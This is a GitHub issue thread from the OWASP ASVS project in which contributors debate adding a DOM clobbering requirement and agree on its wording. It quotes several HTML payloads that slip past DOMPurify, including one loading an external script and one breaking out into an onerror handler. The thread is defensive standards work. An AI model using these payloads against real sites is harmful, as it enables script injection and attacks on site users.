Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Lack of Coverage for DOM Clobbering in ASVS #1733

Closed
ImanSharaf opened this issue Sep 27, 2023 · 36 comments · Fixed by #1780
Closed

Lack of Coverage for DOM Clobbering in ASVS #1733

ImanSharaf opened this issue Sep 27, 2023 · 36 comments · Fixed by #1780
Assignees
Labels
1) Discussion ongoing Issue is opened and assigned but no clear proposal yet 3) awaiting proposal There is some discussion in issue and reach to some results but it's not concluded with clear propos _5.0 - prep This needs to be addressed to prepare 5.0

Comments

@ImanSharaf
Copy link
Collaborator

I could not find an specific item that addresses the issue of DOM Clobbering. As you know, DOM Clobbering is a type of attack where attackers can redefine JavaScript global variables or native DOM elements by making use of certain HTML payloads. This can lead to various security implications, including bypassing Content Security Policies (CSP), filters or causing unexpected behavior in web applications.

With modern web applications relying heavily on JavaScript and dynamic DOM manipulations, vulnerabilities like DOM Clobbering can easily be overlooked. Including it in the ASVS will ensure that application developers, security testers, and organizations are aware of this potential risk and can take measures to prevent it.

@jmanico
Copy link
Member

jmanico commented Sep 27, 2023

DOM clobbering does require some defense. (from ChatGPT)

Defensive Measures

  1. Isolate and Scope
    The first line of defense is to isolate and properly scope your variables. Use JavaScript modules or closures to limit the scope of variables, making it harder for attackers to clobber them.

javascript
Copy code
(function() {
var username = "Jim";
// Your code here
})();
2. Use const and let
Using const and let instead of var can also help because they are block-scoped and not function-scoped, providing a tighter scope.

javascript
Copy code
{
const username = "Jim";
}
3. Object Freezing
You can use Object.freeze() to make an object immutable, preventing new properties from being added to it and making existing properties non-configurable.

javascript
Copy code
const secureObject = Object.freeze({ username: "Jim" });
4. Explicit Property Access
Instead of directly accessing properties, use methods that explicitly check the type of the accessed property. For example, use document.getElementById() instead of directly accessing document.username when you want to manipulate DOM elements.

@jmanico
Copy link
Member

jmanico commented Sep 27, 2023

But really, if you are protected from XSS these attacks wont happen in the first place. Once XSS, it really is game over. I think we should just focus on XSS defense vs these kinds of special JS hardening.

@tghosth
Copy link
Collaborator

tghosth commented Sep 27, 2023

But really, if you are protected from XSS these attacks wont happen in the first place. Once XSS, it really is game over. I think we should just focus on XSS defense vs these kinds of special JS hardening.

I think this is a good point, @ImanSharaf do you have an example where DOM clobbering could occur without XSS?

@tghosth tghosth added 1) Discussion ongoing Issue is opened and assigned but no clear proposal yet _5.0 - prep This needs to be addressed to prepare 5.0 labels Sep 27, 2023
@ImanSharaf
Copy link
Collaborator Author

But really, if you are protected from XSS these attacks wont happen in the first place. Once XSS, it really is game over. I think we should just focus on XSS defense vs these kinds of special JS hardening.

@tghosth Even when an application is fortified with robust cross-site scripting (XSS) filters and a well-defined Content Security Policy (CSP), it may still remain susceptible to DOM Clobbering attacks. It's essential to recognize that attackers can exploit DOM Clobbering as a technique to circumvent the very protections offered by CSP and XSS filters.

https://portswigger.net/research/bypassing-csp-via-dom-clobbering

@jmanico
Copy link
Member

jmanico commented Sep 27, 2023 via email

@elarlang
Copy link
Collaborator

elarlang commented Sep 27, 2023

Here comes the place to point out - XSS is BS as a term, it does not say anything (think about this and pay attention to published date). Let's talk about syntax + problem there - is it injection, is it execution, in HTML or in JavaScript.

In this case, out of curiosity, what is the expected defense? What would be the requirement (additionally HTML injection (covered by current 5.3.1)?

@tghosth
Copy link
Collaborator

tghosth commented Sep 28, 2023

Here comes the place to point out - XSS is BS as a term, it does not say anything (think about this and pay attention to published date). Let's talk about syntax + problem there - is it injection, is it execution, in HTML or in JavaScript.

Let's not open up this holy war again LOL

In this case, out of curiosity, what is the expected defense? What would be the requirement (additionally HTML injection (covered by current 5.3.1)?

So the defence is covered here and actually it reminds me of the "defensive coding" type of requirement that we discussed in #1617.

I think I have changed my mind here. In principle this requires XSS but the problem is that sometimes you need to render some HTML but not all HTML. When that is the case, you generally run a library like DOMPurify to remove dangerous items.

However, from a brief review, I don't think DOMPurify would prevent the following payload in this vulnerability which is described here.

<a id=ehy><a id=ehy name=codeBasePath href="//subdomain1.portswigger-labs.net/xss/xss.js?">

Specifically, I ran the HTML in the payload though DOMPurify and it did not remove anything.

As such, if a standard XSS prevention does not stop this from happening then I think we need have a specific item for it.

@cure53 @hackvertor have I understood the situation corectly?

@cure53
Copy link

cure53 commented Sep 28, 2023

Correct, by default, this would likely not be prevented by DOMPurify as we only prevent clobbering if we detect actual collisions with existing stuff in the DOM.

To give you a reliable answer, I'd need more context, i.e. what the page looks like when DOMPurify is loaded / running etc.

@elarlang
Copy link
Collaborator

Let's not open up this holy war again LOL

lol and holy war? (-some filtered out lines here-). You just saw above that different people talked about "XSS" and had different understanding of it (in this example, does it cover "HTML injection" or not) and they are professionals on the field. It is a problematic term and you can not ignore or laugh over that.

Back to the issue - if there is adequate and effective defense against DOM clobbering additionally to avoid HTML injection in the first place, we should consider this as separate requirement. From only "we need to fix it only by avoiding HTML injection" point of view we don't need large part of Content-Security-Policy as well, but... we need.

@elarlang
Copy link
Collaborator

elarlang commented Sep 28, 2023

As I understood, the problem is in JavaScript code, how it calls some objects based on name and id's (anything else?) and the requirement should say, how to write JavaScript code correctly to avoid that.

If DOM clobbering mostly or only work on id and name HTML attributes, then as 2nd layer of defense it is possible to use filtering them out via DOMPurify. The question - is there realistic need to have id and name attributes for elements for content, which gets cleaned up by DOMPurify?

@tghosth
Copy link
Collaborator

tghosth commented Sep 28, 2023

yeah I am pretty sure id and name HTML attributes are generic and can't just be removed as a normal thing

@ImanSharaf
Copy link
Collaborator Author

@tghosth Also, DOMPurify permits the use of the cid: protocol, which doesn't encode double quotes in URLs. As a result, an encoded double quote can be inserted, which will then be decoded when executed.
So, injecting something like this:
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">
will make the HTML encoded &quot; to be decoded on runtime and escape from the attribute value to create the onerror event.

@jmanico
Copy link
Member

jmanico commented Sep 28, 2023

This attack does get through DomPURIFY but it does not execute in the latest Chrome. Is there a specific browser that ...

<a href="cid:&quot;onerror=alert(1)//">CLICK ME</a>

...will fire in?

@jmanico
Copy link
Member

jmanico commented Sep 28, 2023

Also, DomPURIFY does not resolve the &quot; as you can see here:
Screenshot 2023-09-28 at 2 08 33 PM

@elarlang
Copy link
Collaborator

HTML encoded characters are valid in HTML element attribute value - browser first decodes them and then executes. For the time they are in DOM, those are decoded.

As DOMpurify is second layer of defense for DOM clobbering, I would say the focus here is a bit in wrong place. The problem is in JavaScript code.

@jmanico
Copy link
Member

jmanico commented Sep 28, 2023

HTML encoded characters are valid in HTML element attribute value - browser first decodes them and then executes. For the time they are in DOM, those are decoded.

As DOMpurify is second layer of defense for DOM clobbering, I would say the focus here is a bit in wrong place. The problem is in JavaScript code.

I agree with Elar.

@hackvertor
Copy link

hackvertor commented Sep 29, 2023

I think this can be fixed at the filtering level too by prefixing the name and id attributes. For example:

Input:

<img id=x name=y>

Output:

<img id=myApp-x name=myApp-y>

Using hyphen ensures existing variable names won't be clobbered. By defining a prefix in DOM purify (currently doesn't support this) an application can be secure against most clobbering attacks. You'd probably want to protect against class clobbering too by prefixing CSS class names.

@elarlang
Copy link
Collaborator

But it is all more taking the likelihood and impact down, but not actually fixing the problematic code which causes it?

@hackvertor
Copy link

Well it really needs to fixed at the browser level but then you could break existing sites and you'd have to catch all variants:

<a href='https://blah:&quot' id=x></a>
<script>
alert(x)
</script>

@tghosth
Copy link
Collaborator

tghosth commented Oct 3, 2023

Ok so @ImanSharaf I think there seems to be enough evidence here that this is a specific issue which needs to be addressed.

So the next question, what do you think the requirement needs to be. I think Jim mentioned some protections here #1733 (comment) and Gareth mentioned some here #1733 (comment) but how do we make it into a real requirement?

@elarlang
Copy link
Collaborator

elarlang commented Oct 3, 2023

For me the point in the requirement should be: write your javascript correctly to avoid DOM clobbering.

Even if you can do it with purify, it is second layer of defense and does not fix the source of the problem. Also the question is - can you always ask to purify the content? So it can be recommended as 2nd layer of defense if business logic allow purifying.

@ImanSharaf
Copy link
Collaborator Author

These are 8 common DOM Clobbering patterns:
image

I believe Gareth solution #1733 (comment) works.

Here they have mentioned 4 mitigations:

  1. Explicit Variable Declarations -> could patch the patterns A, D, E, F, and H
  2. Strict Type Checking -> could patch the patterns B, C and G

By having these two in place we can patch all common patterns.

Also, it seems 4. Namespace Isolation -> can patch all common patterns by itself.

@ImanSharaf
Copy link
Collaborator Author

Also, here you can test your browser to see if it is vulnerable to DOM Clobbering.

@elarlang
Copy link
Collaborator

elarlang commented Oct 4, 2023

Here is some nice material as well: https://portswigger.net/web-security/dom-based/dom-clobbering

@tghosth
Copy link
Collaborator

tghosth commented Oct 5, 2023

Ok so @ImanSharaf can you suggest the requirement text?

@elarlang elarlang added the 3) awaiting proposal There is some discussion in issue and reach to some results but it's not concluded with clear propos label Oct 30, 2023
@ImanSharaf
Copy link
Collaborator Author

What is your opinion about this one? @tghosth

Ensure your application mitigates DOM clobbering by employing explicit variable declarations, strict type checking, avoiding document for global variables, and implementing namespace isolation.

@elarlang
Copy link
Collaborator

"Verify that the application..."

I think the requirement should mention the word JavaScript. Or is it problem somewhere else as well? .. and should we worry that JavaScript is trademark and maybe we should use ECMAScript instead?

What means "avoiding document for global variables"?

@tghosth
Copy link
Collaborator

tghosth commented Nov 6, 2023

I think the following incorporates @ImanSharaf's and @elarlang's points.

Verify that the application mitigates DOM clobbering in JavaScript by employing explicit variable declarations, performing strict type checking, avoiding storing global variables on the document object, and implementing namespace isolation.

I am not super worried about the ASVS getting sued for trademark infringement 😄

I think we should also include this great site as a reference:

https://domclob.xyz/domc_wiki/indicators/patterns.html#secure-patterns--guidelines

@elarlang
Copy link
Collaborator

elarlang commented Nov 6, 2023

Buh, here lack of Englush and lack of knowledge on the topic maybe meet, but the position of "in JavaScript" maybe need to improved. If for others it is clear and understandable, then just ignore this comment.

"mitigates DOM clobbering in JavaScript" - for me it gives feeling/understanding, that DOM clobbering happening only in JavaScript. Yes, the reason is there, but it requires DOM + JavaScript code.

Can it start with?

Verify that the application mitigates in JavaScript against DOM clobbering by ...

and one more thing or question - as we have also nodejs and server-side javascript, should we limit it to client-side javascript?

@ImanSharaf
Copy link
Collaborator Author

ImanSharaf commented Nov 6, 2023

Verify that the application mitigates DOM clobbering in JavaScript by employing explicit variable declarations, performing strict type checking, avoiding storing global variables on the document object, and implementing namespace isolation.

I believe this is a good one.

@tghosth
Copy link
Collaborator

tghosth commented Nov 8, 2023

Verify that the application avoids DOM clobbering when using client-side JavaScript by employing explicit variable declarations, performing strict type checking, avoiding storing global variables on the document object, and implementing namespace isolation.

@elarlang, better?

@elarlang
Copy link
Collaborator

elarlang commented Nov 8, 2023

Yes, good for me.

Other pieces:

  • category: "client-side" I guess
  • cwe - does not contain "globbering", so cwe-79 as abstract match
  • level 2

@tghosth
Copy link
Collaborator

tghosth commented Nov 8, 2023

I was actually thinking about putting it into the defensive coding section....

@tghosth
Copy link
Collaborator

tghosth commented Nov 8, 2023

Agree with CWE and level

@elarlang
Copy link
Collaborator

elarlang commented Nov 8, 2023

I was actually thinking about putting it into the defensive coding section....

ok, let's put it there

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
1) Discussion ongoing Issue is opened and assigned but no clear proposal yet 3) awaiting proposal There is some discussion in issue and reach to some results but it's not concluded with clear propos _5.0 - prep This needs to be addressed to prepare 5.0
Projects
None yet
Development

Successfully merging a pull request may close this issue.

6 participants